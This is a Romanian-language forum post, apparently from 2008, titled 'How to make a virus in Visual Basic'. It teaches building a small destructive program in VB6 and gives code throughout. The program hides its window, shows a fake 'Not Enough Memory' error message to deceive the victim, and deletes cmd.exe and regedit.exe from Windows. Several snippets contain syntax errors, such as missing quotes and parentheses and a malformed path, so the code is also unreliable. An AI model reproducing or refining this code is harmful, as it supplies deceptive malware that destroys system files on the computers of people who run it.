Cum faci un virus in Visual Basic

In jos

Cum faci un virus in Visual Basic

Mesaj Scris de Max la data de Dum Sept 07, 2008 7:17 pm

Pai majoritatea cred ca virusii se aseamana cu Trojanii lucru deloc adevarat.

Un virus nu este asa de imposibil de realizat odata ce intelegeti diferentele dintre Trojani si Virusi.

O sa incepem cu ceva foarte simplu.

Acum totul depinde de cum vrei tu ca virusul tau sa lucreze, Eu sunt de parere ca cel mai bine e ca el sa se activeze odata cu deschiderea aplicatiei asa ca main code se codeaza in form load sub.

In proiectul nostru inseram un text box , un buton de comanda si un timer,vom folosii butonul si timerul putin mai incolo.

Acest exemplu de virus sterge ceva anume acum vom adauga ce anume sterge in cod.

Private Sub Form_Load()
Text1.Text = "C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub


Acest cod explica cum odata deschisa aplicatia se sterge cmd.exe din System32 automat.

Acum vom pune si un buton il vom denumi "A"

Pune urmatorul cod in butoul de comanda si in form load.

Private Sub Form_Load()
Text1.Text = "C/Windows/System32/cmd.exe"
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub


Asa.... odata ce butonul va fii apasat va sterge cmd.exe

Acum la codul urmator vom folosii timer.

Private Sub Form_Load()
Form1.Visible = False
Text1.Text = "C:/Windows/System32/cmd.exe"
A = Text1.Text
Msgbox ("Runtime Error 492. Not Enough Memory.", vbCritical, "Runtime Error"
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub


Ceea ce am facut mai sus este sa facem formul invizibil si sa dea un mesaj eroare ce pare a fii real, am setat intervalul la 5 secunde pana ce fisierul va fii sters si vedeti cat de simplu este sa pacaliti pe cineva.

Codul de jos nu va folosii timere butoane va da un mesaj error dupa care pur si simplu va sterge mai multe fisiere.

Private Sub Form_Load()
Form1.Visible = False
Msgbox ("Runtime Error 492. Not Enough Memory.", vbCritical, "Runtime Error"
Kill "C:/Windows/System32/cmd.exe" s
Kill "C:/Windows/regedit.exe"
End Sub


Acesta va sterge regedit.exe si cmd.exe si va spune Runtime Error 492. Not Enough Memory ( il puteti personaliza cu ce doriti )

Max
Moderator
Moderator

Numarul mesajelor : 53
Varsta : 30
Localitate : Confidential
Stare de spirit : Rakiu
Data de inscriere : 23/08/2008

Vezi profilul utilizatorului

Sus In jos

Sus

- Subiecte similare

 
Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum